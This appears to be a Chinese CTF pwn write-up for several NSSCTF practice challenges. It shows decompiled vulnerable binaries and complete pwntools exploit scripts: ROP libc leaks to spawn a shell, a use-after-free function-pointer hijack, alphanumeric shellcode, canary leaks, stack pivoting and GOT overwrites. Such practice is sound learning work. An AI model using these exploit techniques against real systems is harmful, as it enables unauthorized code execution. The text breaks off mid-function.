def get_sb() : return libc_base + 0x4f440, libc_base + 0x1b3e9a
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24787
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

offset = 0x50 + 8

sl("1")
payload = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],rdi,elf.got['gets'],elf.plt['puts'],0x0000000004009A0])
r()
sl(payload)
get_addr()
puts_addr = get_addr()
gets_addr = get_addr()
info("puts addr : {:#x}".format(puts_addr))
info("gets addr : {:#x}".format(gets_addr))

libc_base = puts_addr - 0x809c0
system,bin = get_sb()
payload = flat([cyclic(offset),rdi,bin,system])
sl(payload)
inter()

[BJDCTF 2020]YDSneedGirlfriend

尝试运行

1
2
3
4
5
6
7
8
YDS need a grilfriend!,can u help him?
------------------------
1. Add a girlfriend
2. Delete a girlfriend
3. show her name
4. give up
------------------------
Your choice :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
myinit(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_girlfriend();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_girlfriend();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_girlfriend();
}
}
}

当他等于2的时候删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 del_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
{
free(*((void **)*(&girlfriendlist + v1) + 1));
free(*(&girlfriendlist + v1));
puts("Success"); //存在double free
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}

输入3的时候输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 print_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}

不为空的时候调用了函数指针

为1的时候添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 add_girlfriend()
{
__int64 v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(&girlfriendlist + i) )
{
*(&girlfriendlist + i) = malloc(0x10uLL);
if ( !*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
printf("Her name size is :");
read(0, buf, 8uLL);
v3 = atoi(buf);
v0 = (__int64)*(&girlfriendlist + i);
*(_QWORD *)(v0 + 8) = malloc(v3);
if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
}

所以我们添加两个大于0x20的name的chunk,然后进行free,这时候我们有两个0x10的堆块被释放了,我们添加一个0x10的name的chunk就可控制index为0的函数指针,然后print调用他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import pack
from ctypes import *
# from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28267
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
def choice(i):
sla(b"Your choice :",str(i))
def add(size,content):
choice(1)
sla(b"Her name size is :",str(size))
sla(b"Her name is :",content)
def delete(idx):
choice(2)
sla(b"Index :",str(idx))
add(0x40,"aaa")
add(0x40,"aaa")
add(0x10,"aaa")
delete(0)
delete(1)
add(0x10,p64(elf.sym['backdoor']))
choice(3)
sla(b"Index :",str(0))

inter()

[CISCN 2022 初赛]login_normal

1
2
3
4
5
6
[*] '/home/pwn/pwn/nssctf/11.11/CISCN_2022_初赛_login_normal/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

防御全开的一个题目

逆向一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall sub_FFD(const char *a1)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1] != '\n') )
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1;
sb = strchr(a1, ':');
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, 10);
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
a1 = sd + 1;
if ( *a1 == 13 )
*a1++ = 0;
s1 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*a1 = 0;
sa = (char *)(a1 + 1);
if ( *sa == 10 )
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE((const char *)dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}

逆向出格式发现v9 = strlen(nptr) - 1;​所以我们又多一个字符无效字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)();
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}

发现往可执行的mmap里面写入shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

sl("opt:1\nmsg:ro0tt\n")
shellcode=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
payload=b'opt:2\nmsg:'+shellcode+b'\n'
sl(payload)
inter()

[BJDCTF 2020]babyrop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
gift();
vuln();
return 0;
}
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 vuln()
{
_BYTE buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}

可以泄露canary的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.11/BJDCTF_2020_babyrop2 [18:12:38] C:130             │   2         0x40090f main+53
$ python3 exp.py │ 3 0x7fa4fe4fdd90 __libc_start_call_main+128
[+] Starting local process './pwn': pid 7089 │ 4 0x7fa4fe4fde40 __libc_start_main+128
[*] pid: 7089 │ 5 0x4006c9 _start+41
[*] '/home/pwn/pwn/nssctf/11.11/BJDCTF_2020_babyrop2/pwn' │────────────────────────────────────────────────────────────────────────────────────────────────
Arch: amd64-64-little │pwndbg> search N1ght
RELRO: Partial RELRO │Searching for byte: b'N1ght'
Stack: Canary found │[heap] 0x142e2a0 0xa746867314e /* 'N1ght\n' */
NX: NX enabled │[stack] 0x7fffc44857b0 0x746867314e /* 'N1ght' */
PIE: No PIE (0x400000) │[stack] 0x7fffc4487660 0x746867314e /* 'N1ght' */
Stripped: No │[stack] 0x7fffc44878d0 0x746867314e /* 'N1ght' */
[*] Loaded 14 cached gadgets for './pwn' │pwndbg> stack
[*] ret addr : 0x4005f9 │00:0000│ rsp 0x7fffc44878b8 —▸ 0x4008c3 (vuln+60) ◂— nop
[*] rdi addr : 0x400993 │01:0008│ rsi 0x7fffc44878c0 —▸ 0x7fa4fe745040 (_rtld_global) —▸ 0x7fa4fe7462e0 ◂— 0
/home/pwn/pwn/nssctf/11.11/BJDCTF_2020_babyrop2/exp.py:7: BytesWarning: Text is not bytes; assum│02:0010│-018 0x7fffc44878c8 —▸ 0x400870 (gift+92) ◂— nop
ing ASCII, no guarantees. See https://docs.pwntools.com/#bytes │03:0018│-010 0x7fffc44878d0 ◂— 0x746867314e /* 'N1ght' */
def sl(a) : p.sendline(a) │04:0020│-008 0x7fffc44878d8 ◂— 0xca0d406c4cf14500
[*] running in new terminal: ['/usr/bin/gdb', '-q', './pwn', '-p', '7089'] │05:0028│ rbp 0x7fffc44878e0 —▸ 0x7fffc4487900 ◂— 1
[+] Waiting for debugger: Done │06:0030│+008 0x7fffc44878e8 —▸ 0x40090f (main+53) ◂— mov eax, 0
[*] Paused (press any to continue) │07:0038│+010 0x7fffc44878f0 ◂— 0x1000
│pwndbg>

发现在下一个也就是%2加入5个寄存器就是canary值

大小足够泄露两个地址好找libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28119
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
p.recv()
sl("%7$p")
canary = int(rl("00")[-18:].decode("utf-8"),16)
info("canary: {:#x}".format(canary))
offset = 0x20 + 8
payload1 = flat([cyclic(offset-0x10),canary,0xdeaf,rdi,elf.got['puts'],elf.plt['puts']],rdi,elf.got['read'],elf.plt['puts'],elf.sym['vuln'])
sl(payload1)
puts_addr = get_addr()
read_addr = get_addr()
info("puts addr : {:#x}".format(puts_addr))
info("read addr : {:#x}".format(read_addr))
libc_base = puts_addr - 0x6f690
system = libc_base + 0x45390
bin_sh = libc_base + 0x18cd57
payload2 = flat([cyclic(offset-0x10),canary,0xdeaf,rdi,bin_sh,system])
sl(payload2)
inter()

[SUCTF 2018 招新赛]basic pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[268]; // [rsp+10h] [rbp-110h] BYREF
int v5; // [rsp+11Ch] [rbp-4h]

scanf("%s", s);
v5 = strlen(s);
printf("Hi %s\n", s);
return 0;
}
int callThisFun(void)
{
char *path[4]; // [rsp+0h] [rbp-20h] BYREF

path[0] = "/bin/cat";
path[1] = "flag.txt";
path[2] = 0LL;
return execve("/bin/cat", path, 0LL);
}

很简单一个溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0x110 + 8
payload1 = flat([cyclic(offset),0x401157])

sl(payload1)
inter()

[HDCTF 2023]Minions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

init(argc, argv, envp);
vuln();
puts("\nDo you have an invitation key?");
if ( key == 102 )
{
puts("welcome,tell me more about you");
read(0, buf, 0x40uLL);
puts("That's great.Do you like Minions?");
read(0, &hdctf, 0x28uLL);
}
else
{
puts("sorry,you can't in");
}
return 0;
}

key在bss段上0x0000000006010A0

1
2
3
4
5
6
7
8
9
int vuln()
{
char buf[208]; // [rsp+0h] [rbp-D0h] BYREF

puts("Welcome to HDCTF.What you name?\n");
read(0, buf, 0xD0uLL);
printf("Hello,");
return printf(buf);
}

存在格式化字符串

可以打栈迁移,当前old_ebp保存了old_ebp的地址,我们可以泄露出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 22952
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
leave = rop.find_gadget(['leave','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
info("leave addr : {:#x}".format(leave))
key = 0x0000000006010A0
offset = 0x30 + 8
payload1 = fmtstr_payload(6,{key:102})
r()
sl(payload1)
r()
payload2 = flat([cyclic(offset),0x400610])
sl(payload2)
sl("%32$p")
rl("Hello,")
fake_ebp = int(p.recvuntil("\n\n",drop=True).decode("utf-8"),16) - 0x28
success("fake_ebp: {:#x}".format(fake_ebp))
bin_sh = fake_ebp - 8
success("fake_ebp: {:#x}".format(fake_ebp))
success("bin_sh: {:#x}".format(bin_sh))
payload3 = flat(["/bin/sh\x00",ret,rdi,bin_sh,elf.sym['system'],])
payload3 = payload3.ljust(offset-8,b'\x00') + p64(fake_ebp-8) + p64(leave)
sl(payload3)
inter()

格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 22952
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
leave = rop.find_gadget(['leave','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
info("leave addr : {:#x}".format(leave))

key = 0x0000000006010A0
offset = 0x30 + 8


payload1=fmtstr_payload(6,{0x6010A0:0x66})
payload2=cyclic(0x38)+p64(0x400610)
payload3=fmtstr_payload(6,{elf.got['printf']:elf.sym['system']})

sa('What you name?',payload1)
sa('more about you',payload2)
sa('Minions?','sa')
sa('What you name?',payload3)
sa('more about you',payload2)
sa('Minions?','sa')
sa('What you name?',"/bin/sh\x00")
inter()

11.12

[HNCTF 2022 WEEK4]ezheap

首先更换一个glibc2.23的ld

1
patchelf --set-interpreter /home/pwn/pwnenv/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 pwn

然后更换一下libc

1
patchelf --replace-needed libc.so.6 ./libc-2.23.so pwn

主代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]

init_env(argc, argv, envp);
puts("Easy Note.");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = getnum();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
puts("Invalid!");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}

菜单

1
2
3
4
5
6
7
8
int menu()
{
puts("1.Add.");
puts("2.Delete.");
puts("3.Show.");
puts("4.Edit.");
return puts("Choice: ");
}

添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int add()
{
__int64 v0; // rbx
__int64 v1; // rax
int v3; // [rsp+0h] [rbp-20h]
int v4; // [rsp+4h] [rbp-1Ch]

puts("Input your idx:");//输入id
v3 = getnum();
puts("Size:");//输入大小
v4 = getnum();
if ( (unsigned int)v4 > 0x100 )//不能大于0x100
{
LODWORD(v1) = puts("Invalid!");
}
else
{
heaplist[v3] = malloc(0x20uLL);//首先在heaplist[id]开辟一个0x20的空间
if ( !heaplist[v3] )//当这个空间申请失败,报错
{
puts("Malloc Error!");
exit(1);
}
v0 = heaplist[v3];
*(_QWORD *)(v0 + 16) = malloc(v4);//在他的chunk的0x10位后,存入一个指针,指针指向开辟的一个chunk
*(_QWORD *)(heaplist[v3] + 32LL) = &puts;//在他的0x20位后,存入一个puts函数的地址
if ( !*(_QWORD *)(heaplist[v3] + 16LL) )//heap的0x10的chunk申请失败,报错
{
puts("Malloc Error!");
exit(1);
}
sizelist[v3] = v4;//管理size大小的list
puts("Name: ");
if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10uLL) )//往chunk里面写入0x10的name
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )//往chunk里面存放的指针的chunk里面写入content内容
{
puts("Error!");
exit(1);
}
puts("Done!");
v1 = heaplist[v3];
*(_DWORD *)(v1 + 24) = 1;//设置chunk的0x18为1
}
return v1;
}

删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *delete()
{
_QWORD *result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("Input your idx:");
v1 = getnum();//获取id
if ( v1 <= 0x10 && *(_DWORD *)(heaplist[v1] + 24LL) )//id不能大于16和他的24位的值为1
{
